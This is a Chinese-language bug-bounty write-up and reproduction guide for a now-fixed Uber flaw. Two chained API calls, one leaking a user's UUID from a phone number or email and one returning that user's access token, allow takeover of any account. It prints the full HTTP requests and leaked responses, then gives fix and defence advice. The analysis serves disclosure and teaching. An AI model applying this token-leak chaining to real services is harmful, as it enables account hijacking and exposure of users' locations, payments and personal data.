挖洞经验 | 看我如何通过Uber API接口劫持任意Uber注册账户
字数 1053 2025-08-18 11:39:00

Uber API接口账户劫持漏洞分析与复现指南

漏洞概述

本漏洞涉及Uber平台的一个严重安全缺陷,允许攻击者通过两个API接口的串联利用,最终实现对任意Uber注册账户的完全控制。漏洞影响范围包括:

  • Uber司机账户
  • Uber乘客(Rider)账户
  • Uber第三方合作伙伴账户
  • Uber Eats(餐饮外送)账户

漏洞最终获得了Uber官方$6500美金的奖励,并已由Uber官方修复。

漏洞技术细节

漏洞原理

该漏洞利用链包含两个关键步骤:

  1. UUID泄露接口:通过提供用户的手机号或邮箱,可获取该用户的唯一标识符(UUID)
  2. 令牌泄露接口:利用获取的UUID,可进一步获取该账户的访问控制令牌(Access Token)及其他敏感信息

影响范围

成功利用此漏洞可导致:

  • 完全劫持任意Uber账户
  • 获取用户的地理位置信息
  • 查看和操作用户的钱款交易
  • 下载用户的乘车路线历史
  • 获取用户的家庭地址等敏感信息

漏洞复现步骤

步骤1:获取用户UUID

通过手机号获取UUID

请求示例

POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com

{"nationalPhoneNumber":"99999xxxxx","countryCode":"1"}

响应示例

{
    "status":"failure",
    "data": {
        "code":1009,
        "message":"Driver '47d063f8-0xx5e-xxxxx-b01a-xxxx' not found"
    }
}

关键点

  • 即使请求失败,响应中也会泄露用户的UUID
  • 国家代码(countryCode)需要与目标手机号匹配

通过邮箱获取UUID

请求示例

POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com

{"email":"xxx@gmail.com"}

响应示例

{
    "status":"failure",
    "data": {
        "code":1009,
        "message":"Driver 'ca111b95-1111-4396-b907-83abxxx5f7371e' not found"
    }
}

步骤2:获取访问控制令牌

请求示例

POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: https://bonjour.uber.com
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: xxxxx

{"language":"en","userUuid":"xxxx-776-4xxxx1bd-861a-837xxx604ce"}

响应示例

{
    "status":"success",
    "data":{
        "data":{
            "language":"en",
            "userUuid":"xxxxxx1e"
        },
        "getUser":{
            "uuid":"cxxxxxc5f7371e",
            "firstname":"Maxxxx",
            "lastname":"XXXX",
            "role":"PARTNER",
            "languageId":1,
            "countryId":77,
            "mobile":null,
            "mobileToken":1234,
            "mobileCountryId":77,
            "mobileCountryCode":"+91",
            "hasAmbiguousMobileCountry":false,
            "lastConfirmedMobileCountryId":77,
            "email":"xxxx@gmail.com",
            "emailToken":"xxxxxxxx",
            "hasConfirmedMobile":"no",
            "hasOptedInSmsMarketing":false,
            "hasConfirmedEmail":true,
            "gratuity":0.3,
            "nickname":"abc@gmail.com",
            "location":"00000",
            "banned":false,
            "cardio":false,
            "token":"b8038ec4143bb4xxxxxx72d",
            "fraudScore":0,
            "inviterUuid":null,
            "pictureUrl":"xxxxx.jpeg",
            // ... 其他敏感信息 ...
        }
    }
}

关键信息获取

  • token:账户的访问控制令牌,用于完全控制账户
  • email:用户的注册邮箱
  • mobileCountryCodemobile:用户的手机信息
  • location:用户的位置信息
  • pictureUrl:用户的头像

漏洞利用

获取到token后,攻击者可以:

  1. 使用该token模拟用户登录
  2. 查看和修改用户的个人信息
  3. 进行乘车请求或外卖订单
  4. 访问用户的支付信息
  5. 查看用户的行程历史
  6. 修改账户设置

漏洞修复方案

Uber官方采取的修复措施包括:

  1. 对敏感API接口实施严格的授权检查
  2. 从响应中移除敏感信息(如token等)
  3. 对用户身份验证流程进行加固

防御建议

对于类似系统的开发者,建议:

  1. 敏感操作必须进行严格的权限验证
  2. 错误响应中不应包含敏感信息
  3. 实施最小权限原则,只返回必要的信息
  4. 对用户身份令牌实施短期有效期和刷新机制
  5. 对敏感接口实施速率限制

时间线与致谢

  • 漏洞发现与报告:2019年
  • 漏洞奖励:$6500美金
  • 参考来源:appsecure
  • 整理:clouds

本教学文档仅用于安全研究与教育目的,严禁用于非法用途。任何未经授权的系统测试都可能违反法律。

Uber API接口账户劫持漏洞分析与复现指南 漏洞概述 本漏洞涉及Uber平台的一个严重安全缺陷,允许攻击者通过两个API接口的串联利用,最终实现对任意Uber注册账户的完全控制。漏洞影响范围包括: Uber司机账户 Uber乘客(Rider)账户 Uber第三方合作伙伴账户 Uber Eats(餐饮外送)账户 漏洞最终获得了Uber官方$6500美金的奖励,并已由Uber官方修复。 漏洞技术细节 漏洞原理 该漏洞利用链包含两个关键步骤: UUID泄露接口 :通过提供用户的手机号或邮箱,可获取该用户的唯一标识符(UUID) 令牌泄露接口 :利用获取的UUID,可进一步获取该账户的访问控制令牌(Access Token)及其他敏感信息 影响范围 成功利用此漏洞可导致: 完全劫持任意Uber账户 获取用户的地理位置信息 查看和操作用户的钱款交易 下载用户的乘车路线历史 获取用户的家庭地址等敏感信息 漏洞复现步骤 步骤1:获取用户UUID 通过手机号获取UUID 请求示例 : 响应示例 : 关键点 : 即使请求失败,响应中也会泄露用户的UUID 国家代码(countryCode)需要与目标手机号匹配 通过邮箱获取UUID 请求示例 : 响应示例 : 步骤2:获取访问控制令牌 请求示例 : 响应示例 : 关键信息获取 : token :账户的访问控制令牌,用于完全控制账户 email :用户的注册邮箱 mobileCountryCode 和 mobile :用户的手机信息 location :用户的位置信息 pictureUrl :用户的头像 漏洞利用 获取到 token 后,攻击者可以: 使用该token模拟用户登录 查看和修改用户的个人信息 进行乘车请求或外卖订单 访问用户的支付信息 查看用户的行程历史 修改账户设置 漏洞修复方案 Uber官方采取的修复措施包括: 对敏感API接口实施严格的授权检查 从响应中移除敏感信息(如token等) 对用户身份验证流程进行加固 防御建议 对于类似系统的开发者,建议: 敏感操作必须进行严格的权限验证 错误响应中不应包含敏感信息 实施最小权限原则,只返回必要的信息 对用户身份令牌实施短期有效期和刷新机制 对敏感接口实施速率限制 时间线与致谢 漏洞发现与报告:2019年 漏洞奖励:$6500美金 参考来源:appsecure 整理:clouds 本教学文档仅用于安全研究与教育目的,严禁用于非法用途。任何未经授权的系统测试都可能违反法律。